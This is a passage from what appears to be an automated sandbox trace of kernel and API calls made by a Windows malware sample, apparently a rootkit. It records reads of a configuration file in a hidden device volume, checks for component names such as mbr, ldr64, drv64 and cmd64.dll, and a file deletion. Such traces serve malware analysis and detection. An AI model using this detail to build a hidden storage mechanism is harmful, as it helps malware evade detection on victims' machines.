_Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.588] KeEnterCriticalRegion () [0119.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db3000 [0119.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.588] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.588] IdePortDispatch () returned 0x103 [0119.589] KeWaitForMutexObject () returned 0x0 [0119.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.589] IdePortDispatch () returned 0x103 [0119.589] KeWaitForMutexObject () returned 0x0 [0119.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.589] KeLeaveCriticalRegion () [0119.589] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.589] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.589] KeEnterCriticalRegion () [0119.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.589] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] KeLeaveCriticalRegion () [0119.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.590] KeEnterCriticalRegion () [0119.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.590] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] KeLeaveCriticalRegion () [0119.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.590] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.590] KeEnterCriticalRegion () [0119.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] KeLeaveCriticalRegion () [0119.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.590] ReleaseMutex (hMutex=0xf0) returned 1 [0119.590] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.590] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.590] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.590] KeEnterCriticalRegion () [0119.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.590] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.590] IdePortDispatch () returned 0x103 [0119.590] KeWaitForMutexObject () returned 0x0 [0119.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.590] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.590] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda920 [0119.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.590] KeLeaveCriticalRegion () [0119.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.591] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.591] KeEnterCriticalRegion () [0119.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.591] KeLeaveCriticalRegion () [0119.591] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.591] KeEnterCriticalRegion () [0119.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.591] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.591] IdePortDispatch () returned 0x103 [0119.591] KeWaitForMutexObject () returned 0x0 [0119.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.591] KeLeaveCriticalRegion () [0119.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.591] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.591] KeEnterCriticalRegion () [0119.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db4000 [0119.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.591] IdePortDispatch () returned 0x103 [0119.591] KeWaitForMutexObject () returned 0x0 [0119.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.592] IdePortDispatch () returned 0x103 [0119.592] KeWaitForMutexObject () returned 0x0 [0119.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.592] KeLeaveCriticalRegion () [0119.592] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.592] KeEnterCriticalRegion () [0119.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.592] KeLeaveCriticalRegion () [0119.592] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.592] KeEnterCriticalRegion () [0119.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.592] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda1f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.592] KeLeaveCriticalRegion () [0119.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.593] KeEnterCriticalRegion () [0119.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.593] ExFreePoolWithTag (P=0xfffffa8003bda920, Tag=0x0) [0119.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.593] KeLeaveCriticalRegion () [0119.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.593] ReleaseMutex (hMutex=0xf0) returned 1 [0119.593] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.593] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.593] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.593] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.593] KeEnterCriticalRegion () [0119.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.593] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.593] IdePortDispatch () returned 0x103 [0119.593] KeWaitForMutexObject () returned 0x0 [0119.593] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.593] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.593] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.593] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.593] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.593] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.593] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.593] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.593] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.593] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.593] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.593] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.593] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.593] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.593] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.593] KeLeaveCriticalRegion () [0119.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.594] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.594] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.594] KeEnterCriticalRegion () [0119.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.594] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.594] IdePortDispatch () returned 0x103 [0119.594] KeWaitForMutexObject () returned 0x0 [0119.594] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.594] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.594] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.594] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.594] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.594] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.594] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.594] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.594] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.594] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.594] KeLeaveCriticalRegion () [0119.594] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.594] ReleaseMutex (hMutex=0x100) returned 1 [0119.594] Sleep (dwMilliseconds=0x2bf20) [0119.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a7c65f0, dwHighDateTime=0x1d24fa4)) [0119.601] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.601] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.601] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.601] KeEnterCriticalRegion () [0119.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.601] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.601] IdePortDispatch () returned 0x103 [0119.601] KeWaitForMutexObject () returned 0x0 [0119.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.601] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda9d0 [0119.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.601] KeLeaveCriticalRegion () [0119.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.601] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.601] KeEnterCriticalRegion () [0119.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.601] KeLeaveCriticalRegion () [0119.601] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.601] KeEnterCriticalRegion () [0119.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.601] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.601] IdePortDispatch () returned 0x103 [0119.602] KeWaitForMutexObject () returned 0x0 [0119.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.602] KeLeaveCriticalRegion () [0119.602] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.602] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.602] KeEnterCriticalRegion () [0119.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db7000 [0119.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.602] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.602] IdePortDispatch () returned 0x103 [0119.602] KeWaitForMutexObject () returned 0x0 [0119.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.602] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.602] IdePortDispatch () returned 0x103 [0119.602] KeWaitForMutexObject () returned 0x0 [0119.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] KeLeaveCriticalRegion () [0119.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.603] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.603] KeEnterCriticalRegion () [0119.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] KeLeaveCriticalRegion () [0119.603] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.603] KeEnterCriticalRegion () [0119.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.603] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] KeLeaveCriticalRegion () [0119.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.603] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.603] KeEnterCriticalRegion () [0119.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] ExFreePoolWithTag (P=0xfffffa8003bda9d0, Tag=0x0) [0119.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.603] KeLeaveCriticalRegion () [0119.603] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.603] ReleaseMutex (hMutex=0xf0) returned 1 [0119.603] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.603] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.604] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.604] KeEnterCriticalRegion () [0119.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 